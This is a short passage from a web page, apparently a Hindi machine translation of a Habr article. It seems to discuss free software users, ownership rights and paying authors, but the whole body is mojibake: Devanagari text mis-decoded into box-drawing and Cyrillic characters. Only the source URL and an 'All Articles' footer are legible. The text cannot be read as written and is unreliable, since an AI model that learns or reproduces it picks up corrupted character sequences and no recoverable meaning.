рдбрд┐рдЬрд┐рдЯрд▓ рд╕рдВрдкрддреНрддрд┐ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреА рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ, рдПрдХ рдЕрдзрд┐рдХрд╛рд░ рдЬрд┐рд╕реЗ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЗрд╕рдХрд╛ рдорд╛рд▓рд┐рдХ рд╣реЛрдиреЗ рд╕реЗ рдХреЛрдИ рд▓рд╛рдн рдирд╣реАрдВ рдорд┐рд▓рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рдмреЗрдЪрдиреЗ рдпрд╛ рдЗрд╕реЗ рдкрдЯреНрдЯреЗ рдкрд░ рджреЗрдиреЗ рдХреА рдХреНрд╖рдорддрд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк рдЕрднреА рднреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВред"

рдореБрдлреНрдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕реНрдерд┐рддрд┐ рд╕реЗ рдмрд╛рд╣рд░ рдХрд╛ рд░рд╛рд╕реНрддрд╛ рдХреНрдпрд╛ рд╣реИ? рдпрд╛ рддреЛ рд▓реЗрдЦрдХ рдХреЛ рднреБрдЧрддрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдпрд╛ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рдПрдХ рд╕рдХреНрд░рд┐рдп рднрд╛рдЧ рд▓реЗрддреЗ рд╣реИрдВ, рдХреИрд░ рдХрд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИред





Source: https://habr.com/ru/post/hi431204/


All Articles